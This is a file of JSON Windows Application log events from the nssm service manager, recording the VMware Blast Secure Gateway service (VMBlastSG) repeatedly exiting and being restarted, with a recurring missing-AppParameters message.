{"@timestamp":1646712178720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159243}}
{"@timestamp":1646712178720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151376","0"]}}},"module":"Application","provider":"nssm","sequence":159244}}
{"@timestamp":1646712178721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151376","151376","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159245}}
{"@timestamp":1646712178737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159246}}
{"@timestamp":1646712178738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159247}}
{"@timestamp":1646712178738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159248}}
{"@timestamp":1646712178739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159249}}
{"@timestamp":1646712307229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159250}}
{"@timestamp":1646712307231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159251}}
{"@timestamp":1646712307232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155904","0"]}}},"module":"Application","provider":"nssm","sequence":159252}}
{"@timestamp":1646712307233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155904","155904","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159253}}
{"@timestamp":1646712307249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159254}}
{"@timestamp":1646712307249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159255}}
{"@timestamp":1646712307250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159256}}
{"@timestamp":1646712307250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159257}}
{"@timestamp":1646712435900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159258}}
{"@timestamp":1646712435901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159259}}
{"@timestamp":1646712435902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154676","0"]}}},"module":"Application","provider":"nssm","sequence":159260}}
{"@timestamp":1646712435902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154676","154676","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159261}}
{"@timestamp":1646712435919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159262}}
{"@timestamp":1646712435920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159263}}
{"@timestamp":1646712435920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159264}}
{"@timestamp":1646712435921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159265}}
{"@timestamp":1646712564419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159266}}
{"@timestamp":1646712564421,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159267}}
{"@timestamp":1646712564422,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156040","0"]}}},"module":"Application","provider":"nssm","sequence":159268}}
{"@timestamp":1646712564422,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156040","156040","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159269}}
{"@timestamp":1646712564442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159270}}
{"@timestamp":1646712564442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159271}}
{"@timestamp":1646712564443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159272}}
{"@timestamp":1646712564444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159273}}
{"@timestamp":1646712692945,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159274}}
{"@timestamp":1646712692947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159275}}
{"@timestamp":1646712692948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156240","0"]}}},"module":"Application","provider":"nssm","sequence":159276}}
{"@timestamp":1646712692948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156240","156240","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159277}}
{"@timestamp":1646712692964,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159278}}
{"@timestamp":1646712692965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159279}}
{"@timestamp":1646712692966,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159280}}
{"@timestamp":1646712692966,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159281}}
{"@timestamp":1646712821473,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159282}}
{"@timestamp":1646712821475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159283}}
{"@timestamp":1646712821476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156164","0"]}}},"module":"Application","provider":"nssm","sequence":159284}}
{"@timestamp":1646712821476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156164","156164","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159285}}
{"@timestamp":1646712821493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159286}}
{"@timestamp":1646712821494,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159287}}
{"@timestamp":1646712821494,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159288}}
{"@timestamp":1646712821495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159289}}
{"@timestamp":1646712949973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159290}}
{"@timestamp":1646712949974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159291}}
{"@timestamp":1646712949974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156360","0"]}}},"module":"Application","provider":"nssm","sequence":159292}}
{"@timestamp":1646712949974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156360","156360","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159293}}
{"@timestamp":1646712949991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159294}}
{"@timestamp":1646712949991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159295}}
{"@timestamp":1646712949992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159296}}
{"@timestamp":1646712949993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159297}}
{"@timestamp":1646713078489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159298}}
{"@timestamp":1646713078491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159299}}
{"@timestamp":1646713078491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155676","0"]}}},"module":"Application","provider":"nssm","sequence":159300}}
{"@timestamp":1646713078492,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155676","155676","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159301}}
{"@timestamp":1646713078508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159302}}
{"@timestamp":1646713078508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159303}}
{"@timestamp":1646713078509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159304}}
{"@timestamp":1646713078510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159305}}
{"@timestamp":1646713206994,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159306}}
{"@timestamp":1646713206995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159307}}
{"@timestamp":1646713206996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156668","0"]}}},"module":"Application","provider":"nssm","sequence":159308}}
{"@timestamp":1646713206997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156668","156668","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159309}}
{"@timestamp":1646713207012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159310}}
{"@timestamp":1646713207013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159311}}
{"@timestamp":1646713207013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159312}}
{"@timestamp":1646713207014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159313}}
{"@timestamp":1646713335603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159314}}
{"@timestamp":1646713335604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159315}}
{"@timestamp":1646713335605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156440","0"]}}},"module":"Application","provider":"nssm","sequence":159316}}
{"@timestamp":1646713335606,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156440","156440","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159317}}
{"@timestamp":1646713335622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159318}}
{"@timestamp":1646713335623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159319}}
{"@timestamp":1646713335624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159320}}
{"@timestamp":1646713335625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159321}}
{"@timestamp":1646713464135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159322}}
{"@timestamp":1646713464136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159323}}
{"@timestamp":1646713464137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156172","0"]}}},"module":"Application","provider":"nssm","sequence":159324}}
{"@timestamp":1646713464139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156172","156172","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159325}}
{"@timestamp":1646713464157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159326}}
{"@timestamp":1646713464158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159327}}
{"@timestamp":1646713464158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159328}}
{"@timestamp":1646713464159,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159329}}
{"@timestamp":1646713592644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159330}}
{"@timestamp":1646713592646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159331}}
{"@timestamp":1646713592647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156512","0"]}}},"module":"Application","provider":"nssm","sequence":159332}}
{"@timestamp":1646713592647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156512","156512","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159333}}
{"@timestamp":1646713592664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159334}}
{"@timestamp":1646713592665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159335}}
{"@timestamp":1646713592665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159336}}
{"@timestamp":1646713592666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159337}}
{"@timestamp":1646713721157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159338}}
{"@timestamp":1646713721158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159339}}
{"@timestamp":1646713721159,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155756","0"]}}},"module":"Application","provider":"nssm","sequence":159340}}
{"@timestamp":1646713721160,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155756","155756","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159341}}
{"@timestamp":1646713721176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159342}}
{"@timestamp":1646713721176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159343}}
{"@timestamp":1646713721177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159344}}
{"@timestamp":1646713721178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159345}}
{"@timestamp":1646713849685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159346}}
{"@timestamp":1646713849685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159347}}
